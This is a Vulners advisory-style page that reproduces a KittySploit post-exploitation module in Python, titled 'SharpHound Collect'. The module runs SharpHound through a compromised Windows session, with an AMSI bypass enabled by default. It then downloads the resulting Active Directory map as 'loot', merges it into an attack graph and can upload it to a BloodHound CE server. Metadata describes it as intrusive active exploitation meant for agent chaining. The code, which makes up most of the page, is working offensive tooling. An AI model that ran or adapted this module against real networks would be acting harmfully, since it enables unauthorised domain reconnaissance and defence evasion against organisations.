Lucene search
+L

SharpHound Collect (optional external)

🗓️ 30 Jul 2026 05:02:00Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

SharpHound Collect (optional external) provides a full CE-style zip for AD mapping.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Collect SharpHound output via loadmodule and wire BloodHound import path."""

from kittysploit import *

import os
import time
from pathlib import Path

from lib.post.windows.hash_loot import default_loot_dir
from lib.post.windows.loadmodule_helper import run_catalog_assembly
from lib.post.windows.session import WindowsSessionMixin


class Module(Post, WindowsSessionMixin):
    __info__ = {
        "name": "SharpHound Collect (optional external)",
        "description": (
            "OPTIONAL: requires SharpHound.exe in data/assemblies/. Prefer native "
            "LDAP/GPO modules (scanner/ldap/*, post/ldap/gather/*) for AD mapping. "
            "When you need a full CE-style zip: loadmodule SharpHound, pull loot, "
            "set bloodhound_export_path, merge into attack_graph, optional BHCE upload."
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL, SessionType.POLLING],
        "references": [
            "https://github.com/SpecterOps/SharpHound",
            "https://bloodhound.specterops.io/",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "file_read"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["risk_signals"],
            "cost": 2.2,
            "noise": 0.85,
            "value": 0.7,
            "requires": {"capabilities_any": ["shell"], "capabilities_all": []},
            "chain": {
                "consumes_capabilities": ["shell"],
                "produces_capabilities": ["ad_graph"],
            },
        },
    }

    arguments = OptString(
        "-c All --zipfilename ks_bh.zip --outputdirectory C:\\Windows\\Temp",
        "SharpHound CLI arguments",
        False,
    )
    remote_zip = OptString(
        r"C:\Windows\Temp\ks_bh.zip",
        "Expected remote zip path to download after collection",
        False,
    )
    assembly = OptString("SharpHound", "Catalog name or path for SharpHound.exe", False)
    bypass_amsi = OptBool(True, "AMSI bypass before loadmodule", False)
    pull_loot = OptBool(True, "Download zip to output/loot/", False)
    set_export_path = OptBool(True, "Set agent KB bloodhound_export_path to local zip", False)
    import_graph = OptBool(True, "Merge into attack_graph after pull", False)
    bhce_url = OptString("", "Optional BHCE base URL to upload zip", False)
    bhce_token = OptString("", "Optional BHCE API token", False)
    bhce_token_id = OptString("", "Optional BHCE token id", False)

    def run(self):
        if not self.win_require_windows():
            return False
        if not self.win_require_powershell():
            return False

        args = str(self.arguments or "").strip()
        remote_zip = str(self.remote_zip or r"C:\Windows\Temp\ks_bh.zip").strip()
        print_status(f"loadmodule {self.assembly} — {args}")
        try:
            out = run_catalog_assembly(
                self,
                str(self.assembly or "SharpHound"),
                arguments=args,
                bypass_amsi=bool(self.bypass_amsi),
            )
        except FileNotFoundError as exc:
            raise ProcedureError(
                FailureType.NotFound,
                f"{exc}. Drop SharpHound.exe into data/assemblies/ "
                "(SpecterOps SharpHound).",
            ) from exc
        except Exception as exc:
            raise ProcedureError(FailureType.Unknown, f"SharpHound failed: {exc}") from exc

        if out:
            print_info(out[:4000])

        # Give SharpHound a moment to flush zip
        time.sleep(2)
        local_path = None
        if self.pull_loot:
            if not self.win_remote_file_exists(remote_zip):
                # Try to find newest zip in Temp
                listing = self.win_run_powershell(
                    r"Get-ChildItem $env:TEMP -Filter *.zip | Sort-Object LastWriteTime -Descending | "
                    r"Select-Object -First 3 -ExpandProperty FullName",
                    timeout=20,
                )
                print_warning(f"Expected zip missing: {remote_zip}")
                if listing:
                    print_info(f"Temp zips:\n{listing}")
                    first = listing.strip().splitlines()[0].strip()
                    if first.lower().endswith(".zip"):
                        remote_zip = first
                        print_status(f"Using {remote_zip}")
            loot_dir = default_loot_dir()
            local_path = str(loot_dir / f"sharphound_{int(time.time())}.zip")
            print_status(f"Downloading {remote_zip} -> {local_path}")
            if not self.win_pull_file_via_session(remote_zip, local_path):
                raise ProcedureError(
                    FailureType.Unknown,
                    "Failed to download SharpHound zip. Check remote_zip / arguments.",
                )
            print_success(f"Loot saved: {local_path}")

        kb = self._agent_kb()
        if local_path and self.set_export_path and kb is not None:
            kb["bloodhound_export_path"] = local_path
            print_success(f"bloodhound_export_path = {local_path}")

        if local_path and self.import_graph:
            try:
                from lib.protocols.ldap.ad_graph_import import merge_bloodhound_into_kb

                target_kb = kb if kb is not None else {}
                added = merge_bloodhound_into_kb(target_kb, local_path)
                if kb is not None and "bloodhound_graph" not in kb:
                    # stash overlay snapshot for sync
                    from lib.protocols.ldap.ad_graph_import import (
                        bloodhound_to_attack_graph,
                        load_bloodhound_export,
                    )

                    n, e = load_bloodhound_export(local_path)
                    kb["bloodhound_graph"] = bloodhound_to_attack_graph(n, e)
                print_success(f"Imported BloodHound graph (+{added} nodes)")
            except Exception as exc:
                print_warning(f"Local graph import partial/failed: {exc}")

        bhce_url = str(self.bhce_url or "").strip()
        if local_path and bhce_url:
            try:
                from lib.protocols.ldap.bhce_client import BHCEClient, BHCEConfig

                client = BHCEClient(
                    BHCEConfig(
                        base_url=bhce_url,
                        token_id=str(self.bhce_token_id or ""),
                        token_key=str(self.bhce_token or ""),
                    )
                )
                ver = client.version()
                print_info(f"BHCE version: {ver}")
                result = client.upload_file(local_path)
                print_success(f"BHCE upload response: {result}")
            except Exception as exc:
                print_warning(f"BHCE upload skipped/failed: {exc}")

        return True

    def _agent_kb(self):
        if not getattr(self, "framework", None):
            return None
        state = getattr(self.framework, "agent_state", None)
        if state and isinstance(getattr(state, "knowledge_base", None), dict):
            return state.knowledge_base
        return None

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jul 2026 05:02Current
5.8Medium risk
Vulners AI Score5.8
3